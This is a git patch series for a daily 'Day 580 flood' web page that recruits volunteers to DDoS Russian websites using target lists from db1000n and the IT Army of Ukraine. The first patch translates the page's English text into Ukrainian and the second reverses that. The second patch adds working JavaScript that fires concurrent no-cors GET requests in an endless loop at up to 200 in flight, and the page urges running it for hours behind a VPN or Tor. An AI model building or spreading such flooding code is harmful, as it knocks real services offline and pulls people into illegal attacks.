From 479620221b27c9009a9cf06901a20cc09f222f1e Mon Sep 17 00:00:00 2001
From: rmellis <41447552+rmellis@users.noreply.github.com>
Date: Tue, 26 Sep 2023 23:26:07 +0100
Subject: [PATCH 1/2] =?UTF-8?q?Target=20sync=20for=20day=20580=20|=20?=
=?UTF-8?q?=D0=A6=D1=96=D0=BB=D1=8C=D0=BE=D0=B2=D0=B0=20=D1=81=D0=B8=D0=BD?=
=?UTF-8?q?=D1=85=D1=80=D0=BE=D0=BD=D1=96=D0=B7=D0=B0=D1=86=D1=96=D1=8F=20?=
=?UTF-8?q?=D0=BD=D0=B0=20=D0=B4=D0=B5=D0=BD=D1=8C=20580?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Просто запускайте це стільки, скільки зможете, щоб допомогти наповнити Росію найбільш законним, але ефективним способом
Нові цілі, імпортовані з db1000n:
Щоб не відставати від цілей, ми збираємося використовувати цілі db1000n безпосередньо з їхнього сховища GitHub.
Ці оновлення відбуватимуться щодня, тож якщо db1000n зміниться, ймовірно, знадобиться кілька годин більше, перш ніж зміни з’являться тут.
Повідомлення оприлюднило IT Army of Ukraine:
📢 Час оголосити переможця конкурсу шевронів IT ARMY! 🏆 Найбільшу кількість голосів зібрав дизайн від Dmytro D. Спільнота вирішила, і тепер цей дизайн стане нашим офіційним шевроном! 🎉
Вітаємо переможця і всіх, хто взяв участь у голосуванні. Дизайн буде доступний для всіх. Файл у векторі буде закріплений в нашому Telegram чаті та пізніше опублікований на нашому вебсайті.
Дякуємо за вашу активність і підтримку! Це великий крок у створенні символів, які об'єднують нас.
---
day580.htm | 989 +++++++++++++++++++++++++++--------------------------
1 file changed, 495 insertions(+), 494 deletions(-)
diff --git a/day580.htm b/day580.htm
index 0287c009..8540c990 100644
--- a/day580.htm
+++ b/day580.htm
@@ -1,13 +1,13 @@
As you’ll already be aware, DDoSin or participating in any kind of cyber-attack in general is illegal, and usually for good reason.
-
-
Click "Continue" if you have a VPN, Proxy, the Tor browser or your own secure connection & wish to support Ukraine in taking down Russian propaganda and services aiding Putins invasion
-
- This works by sending GET requests to each targeted website. It’s like opening each website in a random sequence on your PC and re-requesting the data over and over, although the data is not saved or cached, Due to the way it work, It should be fair to say that your Internet service Provider (ISP) won’t be any more bothered about this than they would you browsing the internet, but its always best to stay safe when it comes to security.
-
-
-
+ УВАГА: Прочитайте, перш ніж продовжити.[День 580]
+
+
Як ви вже знаєте, DDoSin або участь у будь-якій кібератаці загалом є незаконними, і зазвичай це має поважну причину.
+
+
Натисніть «Продовжити», якщо у вас є VPN, проксі-сервер, браузер Tor або власне захищене з’єднання та ви хочете підтримати Україну в боротьбі з російською пропагандою та службами, які допомагають вторгненню Путіна.
+
+ Це працює шляхом надсилання запитів GET до кожного цільового веб-сайту. Це схоже на відкриття кожного веб-сайту у випадковій послідовності на вашому комп’ютері та повторний запит даних знову і знову, хоча дані не зберігаються та не кешуються. Через те, як це працює, слід чесно сказати, що ваш Інтернет-провайдер ( Інтернет-провайдер) не буде турбуватися про це більше, ніж ви, переглядаючи Інтернет, але завжди краще залишатися в безпеці, коли йдеться про безпеку.
+
+
+ Сьогоднішнє повідомлення від ІТ-армії України:
-
📢 Time to announce the winner of the IT ARMY chevron contest! 🏆 The design by Dmytro D garnered the most votes. The community has spoken, and this design will now become our official chevron! 🎉 Congratulations to the winner and thanks to everyone who participated in voting. The design will be made accessible to everyone. The vector file will be pinned in our Telegram chat and later published on our website. Thank you for your active participation and support! This is a huge step in creating symbols that unite us.🤝
+
📢 Час оголосити переможця конкурсу шевронів IT ARMY! 🏆 Найбільшу кількість голосів зібрав дизайн від Dmytro D. Спільнота вирішила, і тепер цей дизайн стане нашим офіційним шевроном! 🎉 Вітаємо переможця і всіх, хто взяв участь у голосуванні. Дизайн буде доступний для всіх. Файл у векторі буде закріплений в нашому Telegram чаті та пізніше опублікований на нашому вебсайті. Дякуємо за вашу активність і підтримку! Це великий крок у створенні символів, які об'єднують нас.
- Additional message for newly added targets:
- To keep up with targets we're going to use the db1000n targets
- direct from their GitHub repository.
- These updates will be daily, so if the db1000n changes, it will
- probably take a few hours longer for the change to make it here.
-
Propaganda http(s) flood for Day 580 using targets from the IT Army of Ukraine.
-
-
-
-
Information about this tool.
-
-
-
-
-
This tool is hosted via GitHub Page, You can download it for local use and customization here. A new page will be added for each day, with a new set of targets from the Ukrainian IT Army's telegram servers.
-
All of the news in the Russian federation is fake and need to be shut down, we need as many people as possible to help. Just a tiny 1kbps of data could be the edge needed to take down a server hosting propaganda.
- Just open this page and leave it running on your devices as long as possible, it will flood targets selected specifically for that day.
- Targets are chosen by an intelligence team who are always looking at what services are aiding Russia’s war,together we can pose a huge load on their infrastructure.
-
- Click Here for FAQ(Questions & Answers)
-
-
-
FAQ:
- Q) How can I use this in the tor browser if HTTPS overrides HTTP no matter what i try?
- A)Download the page for local use, it won't use any http/https protocols because those are used to request files from a web server, but using it locally (directly from your computer) bypasses the need and allows you to flood both HTTP and HTTPS from your TOR Browser's IP.
-
Q) How can I see what's happening in more detail?
- A) Redacted for security.
-
Q) After so much time has passed, my browser/computer become very laggy and unresponsive or my browser crashes, how can I fix this?
- A) Redacted for security.
-
Q) Why are some of the requests having the same number error after a while?
- A) This is likely caused by the IP of the VPN you're using has been blocked on their side, but it could also mean the site's just totally overloaded and cannot respond to any requests. Also if you’re are using https:// in the address bar that would cause the http:// addresses to do the same
-
+
+ Додаткове повідомлення для щойно доданих цілей:
+ Щоб не відставати від цілей, ми будемо використовувати
+ db1000n безпосередньо з їх сховища GitHub Ці
+ оновлення будуть щоденними, тому, якщо db1000n
+ зміниться, ймовірно, знадобиться на кілька годин
+ більше часу, щоб зміни потрапили сюди.
+
+
+
Below is a log of sites that ether responded with errors or failed to respond at all.
- It’s normal for this number to count up slow or fast and can often change.
- If a lot of services are overloaded the numbers will go fast, else they’ll go slower.
- If all requests are the same as all errors on some sites, it most likely means that the
- site operator has banned the IP you’re using.
-
+
-
-
-
-
-
-
Total number of requests: 0
-
So far zero sites have responded with errors
-
-
-
-
+
+
Пропагандистський http(s) флуд на день 580 з використанням цілей ІТ-армії України.
+
+
+
+
Інформація про цей засіб.
+
+
+
+
+
Цей інструмент розміщено черезGitHub Page, Ви можете завантажити його для локального використання та налаштування тут. Кожного дня додаватиметься нова сторінка з новим набором цілей із телеграм-серверів Української ІТ-Армії.
+
Всі новини в Російській Федерації є фейковими і їх потрібно закрити, нам потрібна допомога якомога більшої кількості людей. Всього крихітний 1 Кбіт/с даних може бути перевагою, необхідною для знищення сервера, на якому розміщено пропаганду.
+
+ Просто відкрийте цю сторінку та залиште її працювати на своїх пристроях якомога довше, вона заповнить цілі, вибрані спеціально для цього дня.
+ Цілі обирає команда розвідників, яка завжди шукає, які служби допомагають Росії у війні, разом ми можемо створити величезне навантаження на їх інфраструктуру.
+
+ Натисніть тут, щоб FAQ(Питання та відповіді)
+
+
+
FAQ:
+ Q) Як я можу використовувати це в браузері tor, якщо HTTPS замінює HTTP, що б я не намагався?
+ A) Завантажте сторінку для локального використання, вона не використовуватиме жодних протоколів http/https, оскільки вони використовуються для запиту файлів із веб-сервера, але використання її локально (безпосередньо з вашого комп’ютера) уникає необхідності та дає змогу заливати як HTTP, так і HTTPS з IP-адреси вашого браузера TOR.
+
Q) Як я можу побачити, що відбувається більш детально?
+ A)
+ Відредаговано для безпеки
+
Q) Після того, як минуло стільки часу, мій браузер/комп’ютер сильно затримується та не реагує або мій браузер виходить з ладу. Як я можу це виправити?
+ A) Відредаговано для безпеки
+
Q)Чому через деякий час деякі запити мають ту саму помилку з номером?
+ A) Ймовірно, це спричинено тим, що IP-адреса VPN, яку ви використовуєте, заблокована з їхнього боку, але це також може означати, що сайт просто перевантажений і не може відповідати на жодні запити. Крім того, якщо ви використовуєте https:// в адресному рядку, це спричинить те саме для адрес http://
+
+
+
+
+
+
+
+
+
+
Статус сеансу
+
Нижче наведено журнал сайтів, які ether відповіли з помилками або взагалі не відповіли.
+ Цілком нормально, що це число підраховується повільно або швидко і може часто змінюватися.
+ Якщо багато служб перевантажено, цифри рухатимуться швидко, інакше – повільніше.
+ Якщо всі запити збігаються з усіма помилками на деяких сайтах, це, швидше за все, означає, що
+ оператор сайту заборонив IP-адресу, яку ви використовуєте.
+
+
+
+
+
+
+
+
+
+
+
Загальна кількість запитів: 0
+
Так далеко нуль сайти відповіли помилками
+
+
+
-
This website is an easy to run solution to flooding Russian propaganda via any internet capable device with a browser.
- For example you can walk around town shopping and flood Russian propaganda from a phone in your pocket.
- It can even be used via the browser app on a Smart TV in the background whilst you watch TV.
- With your help you can convince a Russian to rebel agents the war by making them
- look elsewhere for news, remember, Nothing you do is too little!
- Glory to Ukraine, Glory to the hero’s.
-
-
Estimate: data requested from servers via GET: 0MB (MegaBytes)
-
-
-
-
\ No newline at end of file
+
+
Цей веб-сайт є простим у управлінні рішенням для поширення російської пропаганди через будь-який пристрій із доступом до Інтернету та браузером.
+ Наприклад, ви можете ходити по місту за покупками і заливати російську пропаганду з телефону в кишені.
+ Його навіть можна використовувати через програму браузера на Smart TV у фоновому режимі під час перегляду телевізора.
+ З вашою допомогою ви можете переконати росіянина повстати проти війни, змусивши їх
+ шукайте новини в інших місцях, пам’ятайте, що нічого, що ви робите, не замало!
+ Слава Україні, Героям Слава.
+
+
Оцінка: дані, запитані з серверів через GET: 0MB (Мегабайт)
+
+
+
+
\ No newline at end of file
From c1a78915833a608b3993b89942cc1fdea46a157b Mon Sep 17 00:00:00 2001
From: rmellis <41447552+rmellis@users.noreply.github.com>
Date: Tue, 26 Sep 2023 23:28:29 +0100
Subject: [PATCH 2/2] =?UTF-8?q?Target=20sync=20for=20day=20580=20|=20?=
=?UTF-8?q?=D0=A6=D1=96=D0=BB=D1=8C=D0=BE=D0=B2=D0=B0=20=D1=81=D0=B8=D0=BD?=
=?UTF-8?q?=D1=85=D1=80=D0=BE=D0=BD=D1=96=D0=B7=D0=B0=D1=86=D1=96=D1=8F=20?=
=?UTF-8?q?=D0=BD=D0=B0=20=D0=B4=D0=B5=D0=BD=D1=8C=20580?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Simply run this for as long as you can to help flood Russia in the most legal, yet effective way possible
New targets imported from db1000n:
To keep up with targets we're going to use the db1000n targets direct from their GitHub repository.
These updates will be daily, so if the db1000n changes, it will probably take a few hours longer for the change to make it here.
Message posted by the IT Army of Ukraine:
📢 Time to announce the winner of the IT ARMY chevron contest! 🏆 The design by Dmytro D garnered the most votes. The community has spoken, and this design will now become our official chevron! 🎉
Congratulations to the winner and thanks to everyone who participated in voting. The design will be made accessible to everyone. The vector file will be pinned in our Telegram chat and later published on our website.
Thank you for your active participation and support! This is a huge step in creating symbols that unite us.
/ *** /
Просто запускайте це стільки, скільки зможете, щоб допомогти наповнити Росію найбільш законним, але ефективним способом
Нові цілі, імпортовані з db1000n:
📢 Час оголосити переможця конкурсу шевронів IT ARMY! 🏆 Найбільшу кількість голосів зібрав дизайн від Dmytro D. Спільнота вирішила, і тепер цей дизайн стане нашим офіційним шевроном! 🎉
Вітаємо переможця і всіх, хто взяв участь у голосуванні. Дизайн буде доступний для всіх. Файл у векторі буде закріплений в нашому Telegram чаті та пізніше опублікований на нашому вебсайті.
Дякуємо за вашу активність і підтримку! Це великий крок у створенні символів, які об'єднують нас.
---
day580.htm | 787 ++++++++++++++++++++++++++---------------------------
1 file changed, 392 insertions(+), 395 deletions(-)
diff --git a/day580.htm b/day580.htm
index 8540c990..aa4ca79b 100644
--- a/day580.htm
+++ b/day580.htm
@@ -1,13 +1,13 @@
-
-
-
-
-день 580 повінь
-
-
-
-
+
+
+
+
+ Day 580 flood
+
+
+
+
-
-
-
-
-
+
+
+
-
-
-
-
-
-
- УВАГА: Прочитайте, перш ніж продовжити.[День 580]
-
-
Як ви вже знаєте, DDoSin або участь у будь-якій кібератаці загалом є незаконними, і зазвичай це має поважну причину.
-
-
Натисніть «Продовжити», якщо у вас є VPN, проксі-сервер, браузер Tor або власне захищене з’єднання та ви хочете підтримати Україну в боротьбі з російською пропагандою та службами, які допомагають вторгненню Путіна.
-
- Це працює шляхом надсилання запитів GET до кожного цільового веб-сайту. Це схоже на відкриття кожного веб-сайту у випадковій послідовності на вашому комп’ютері та повторний запит даних знову і знову, хоча дані не зберігаються та не кешуються. Через те, як це працює, слід чесно сказати, що ваш Інтернет-провайдер ( Інтернет-провайдер) не буде турбуватися про це більше, ніж ви, переглядаючи Інтернет, але завжди краще залишатися в безпеці, коли йдеться про безпеку.
-
-
- Сьогоднішнє повідомлення від ІТ-армії України:
+ color: #FFD600;
+ font-size: 24px;
+ font-weight: bold;
+ }
+ .style14 {color: #FFFFFF}
+ .style15 {color: #FFFF00}
+ .style16 {color: #FF3300}
+ .style17 {color: #FF6633}
+ .style17 {color: #FF6633}
+ .style21 {color: #B9DCFF}
+ .style22 {color: #ECE3AA}
+ table {
+ border-color: #fffd9c;
+ }
+
+
+
+
+
+
+
+ Warning: Read before you continue. [Day 580]
+
+
As you’ll already be aware, DDoSin or participating in any kind of cyber-attack in general is illegal, and usually for good reason.
+
+
Click "Continue" if you have a VPN, Proxy, the Tor browser or your own secure connection & wish to support Ukraine in taking down Russian propaganda and services aiding Putins invasion
+
+ This works by sending GET requests to each targeted website. It’s like opening each website in a random sequence on your PC and re-requesting the data over and over, although the data is not saved or cached, Due to the way it work, It should be fair to say that your Internet service Provider (ISP) won’t be any more bothered about this than they would you browsing the internet, but its always best to stay safe when it comes to security.
+
+
+
Todays message from the IT Army of Ukraine:
-
📢 Час оголосити переможця конкурсу шевронів IT ARMY! 🏆 Найбільшу кількість голосів зібрав дизайн від Dmytro D. Спільнота вирішила, і тепер цей дизайн стане нашим офіційним шевроном! 🎉 Вітаємо переможця і всіх, хто взяв участь у голосуванні. Дизайн буде доступний для всіх. Файл у векторі буде закріплений в нашому Telegram чаті та пізніше опублікований на нашому вебсайті. Дякуємо за вашу активність і підтримку! Це великий крок у створенні символів, які об'єднують нас.
+
📢 Time to announce the winner of the IT ARMY chevron contest! 🏆 The design by Dmytro D garnered the most votes. The community has spoken, and this design will now become our official chevron! 🎉 Congratulations to the winner and thanks to everyone who participated in voting. The design will be made accessible to everyone. The vector file will be pinned in our Telegram chat and later published on our website. Thank you for your active participation and support! This is a huge step in creating symbols that unite us.🤝
-
- Додаткове повідомлення для щойно доданих цілей:
- Щоб не відставати від цілей, ми будемо використовувати
- db1000n безпосередньо з їх сховища GitHub Ці
- оновлення будуть щоденними, тому, якщо db1000n
- зміниться, ймовірно, знадобиться на кілька годин
- більше часу, щоб зміни потрапили сюди.
-
Пропагандистський http(s) флуд на день 580 з використанням цілей ІТ-армії України.
-
-
-
-
Інформація про цей засіб.
-
-
-
-
-
Цей інструмент розміщено черезGitHub Page, Ви можете завантажити його для локального використання та налаштування тут. Кожного дня додаватиметься нова сторінка з новим набором цілей із телеграм-серверів Української ІТ-Армії.
-
Всі новини в Російській Федерації є фейковими і їх потрібно закрити, нам потрібна допомога якомога більшої кількості людей. Всього крихітний 1 Кбіт/с даних може бути перевагою, необхідною для знищення сервера, на якому розміщено пропаганду.
-
- Просто відкрийте цю сторінку та залиште її працювати на своїх пристроях якомога довше, вона заповнить цілі, вибрані спеціально для цього дня.
- Цілі обирає команда розвідників, яка завжди шукає, які служби допомагають Росії у війні, разом ми можемо створити величезне навантаження на їх інфраструктуру.
-
- Натисніть тут, щоб FAQ(Питання та відповіді)
-
-
-
FAQ:
- Q) Як я можу використовувати це в браузері tor, якщо HTTPS замінює HTTP, що б я не намагався?
- A) Завантажте сторінку для локального використання, вона не використовуватиме жодних протоколів http/https, оскільки вони використовуються для запиту файлів із веб-сервера, але використання її локально (безпосередньо з вашого комп’ютера) уникає необхідності та дає змогу заливати як HTTP, так і HTTPS з IP-адреси вашого браузера TOR.
-
Q) Як я можу побачити, що відбувається більш детально?
- A)
- Відредаговано для безпеки
-
Q) Після того, як минуло стільки часу, мій браузер/комп’ютер сильно затримується та не реагує або мій браузер виходить з ладу. Як я можу це виправити?
- A) Відредаговано для безпеки
-
Q)Чому через деякий час деякі запити мають ту саму помилку з номером?
- A) Ймовірно, це спричинено тим, що IP-адреса VPN, яку ви використовуєте, заблокована з їхнього боку, але це також може означати, що сайт просто перевантажений і не може відповідати на жодні запити. Крім того, якщо ви використовуєте https:// в адресному рядку, це спричинить те саме для адрес http://
-
-
-
-
-
-
-
-
+ Additional message for newly added targets:
+ To keep up with targets we're going to use the db1000n targets
+ direct from their GitHub repository.
+ These updates will be daily, so if the db1000n changes, it will
+ probably take a few hours longer for the change to make it here.
+
+
+
Propaganda http(s) flood for Day 580 using targets from the IT Army of Ukraine.
+
+
+
+
Information about this tool.
+
+
+
-
Статус сеансу
-
Нижче наведено журнал сайтів, які ether відповіли з помилками або взагалі не відповіли.
- Цілком нормально, що це число підраховується повільно або швидко і може часто змінюватися.
- Якщо багато служб перевантажено, цифри рухатимуться швидко, інакше – повільніше.
- Якщо всі запити збігаються з усіма помилками на деяких сайтах, це, швидше за все, означає, що
- оператор сайту заборонив IP-адресу, яку ви використовуєте.
-
-
-
-
+
This tool is hosted via GitHub Page, You can download it for local use and customization here. A new page will be added for each day, with a new set of targets from the Ukrainian IT Army's telegram servers.
+
All of the news in the Russian federation is fake and need to be shut down, we need as many people as possible to help. Just a tiny 1kbps of data could be the edge needed to take down a server hosting propaganda.
+ Just open this page and leave it running on your devices as long as possible, it will flood targets selected specifically for that day.
+ Targets are chosen by an intelligence team who are always looking at what services are aiding Russia’s war,together we can pose a huge load on their infrastructure.
+
+ Click Here for FAQ(Questions & Answers)
+
+
+
FAQ:
+ Q) How can I use this in the tor browser if HTTPS overrides HTTP no matter what i try?
+ A)Download the page for local use, it won't use any http/https protocols because those are used to request files from a web server, but using it locally (directly from your computer) bypasses the need and allows you to flood both HTTP and HTTPS from your TOR Browser's IP.
+
Q) How can I see what's happening in more detail?
+ A) Redacted for security.
+
Q) After so much time has passed, my browser/computer become very laggy and unresponsive or my browser crashes, how can I fix this?
+ A) Redacted for security.
+
Q) Why are some of the requests having the same number error after a while?
+ A) This is likely caused by the IP of the VPN you're using has been blocked on their side, but it could also mean the site's just totally overloaded and cannot respond to any requests. Also if you’re are using https:// in the address bar that would cause the http:// addresses to do the same
+
-
-
-
-
-
-
Загальна кількість запитів: 0
-
Так далеко нуль сайти відповіли помилками
-
-
-
+
+
+
+
+
+
+
+
Session Status
+
Below is a log of sites that ether responded with errors or failed to respond at all.
+ It’s normal for this number to count up slow or fast and can often change.
+ If a lot of services are overloaded the numbers will go fast, else they’ll go slower.
+ If all requests are the same as all errors on some sites, it most likely means that the
+ site operator has banned the IP you’re using.
+
+
+
+
+
+
+
+
Total number of requests: 0
+
So far zero sites have responded with errors
+
+
+
+
-
-
Цей веб-сайт є простим у управлінні рішенням для поширення російської пропаганди через будь-який пристрій із доступом до Інтернету та браузером.
- Наприклад, ви можете ходити по місту за покупками і заливати російську пропаганду з телефону в кишені.
- Його навіть можна використовувати через програму браузера на Smart TV у фоновому режимі під час перегляду телевізора.
- З вашою допомогою ви можете переконати росіянина повстати проти війни, змусивши їх
- шукайте новини в інших місцях, пам’ятайте, що нічого, що ви робите, не замало!
- Слава Україні, Героям Слава.
-
-
Оцінка: дані, запитані з серверів через GET: 0MB (Мегабайт)
-
-
-
-
\ No newline at end of file
+ ];
+ // initialize variables
+ var targets = urls.reduce((o, key) => ({ ...o, [key]: {number_of_requests: 0, number_of_errored_responses: 0}}), {})
+ var statRow = document.querySelector("#stats > .row");
+ var myModal = new bootstrap.Modal(document.getElementById('HelpUKR-WarningBox'), {});
+ var CONCURRENCY_LIMIT = 200;
+ var queue = [];
+ var attack = false;
+ var totalrequests = 0;
+ var totalerrors = 0;
+ function togglePause () {
+ if (attack) {
+ attack = false;
+ document.querySelector("div.desc .btn").innerText = "Resume";
+ } else {
+ attack = true;
+ document.querySelector("div.desc .btn").innerText = "Pause";
+ for (var i=0; i controller.abort(), options.timeout);
+ return fetch(resource, {
+ signal: controller.signal,
+ mode: 'no-cors'
+ }).then((response) => {
+ clearTimeout(id);
+ return response;
+ }).catch((error) => {
+ clearTimeout(id);
+ throw error;
+ });
+ }
+ async function sleep(ms) {
+ return new Promise(r => setTimeout(r, ms));
+ }
+ async function flood(n) {
+ const url = urls[n];
+ const target = targets[url];
+ while (attack) {
+ if (queue.length > CONCURRENCY_LIMIT) {
+ await queue.shift();
+ }
+ queue.push(
+ fetchWithTimeout(url, { timeout: 2000 })
+ .catch((error) => {
+ if (error.code === 20 /* ABORT */) {
+ return;
+ }
+ target.number_of_errored_responses++;
+ target.error_message = error.message;
+ totalerrors++;
+ })
+ .then((response) => {
+ if (response && !response.ok) {
+ target.number_of_errored_responses++;
+ target.error_message = response.statusText;
+ totalerrors++;
+ }
+ target.number_of_requests++;
+ })
+ .finally(() => updateTargetDisplay(n))
+ );
+ await sleep(1);
+ }
+ }
+ // Update data for target n
+ function updateTargetDisplay(n) {
+ var url = urls[n];
+ var {number_of_requests, number_of_errored_responses} = targets[url];
+ var requests_cell = document.querySelector(`#target${n} .requests`);
+ var errors_cell = document.querySelector(`#target${n} .errors`);
+ requests_cell.innerText = number_of_requests;
+ errors_cell.innerText = number_of_errored_responses;
+ document.querySelector("#totalrequests").innerText = totalrequests;
+ document.querySelector("#totalerrors").innerText = totalerrors;
+ }
+ // Shuffle array order before starting
+ for (let i = urls.length - 1; i > 0; i--) {
+ const j = Math.floor(Math.random() * (i + 1));
+ [urls[i], urls[j]] = [urls[j], urls[i]];
+ }
+ // Create div for each target
+ for (var i=0; i
+ ${"Hidden Target:"}
+
+
requests:
0
+
errors:
0
+
+
+ `;
+ }
+ // Show warning window
+ myModal.toggle();
+ window.dataLayer = window.dataLayer || [];
+ function gtag(){dataLayer.push(arguments);}
+ gtag('js', new Date());
+ gtag('config', 'UA-85513613-1');
+
+
+
\ No newline at end of file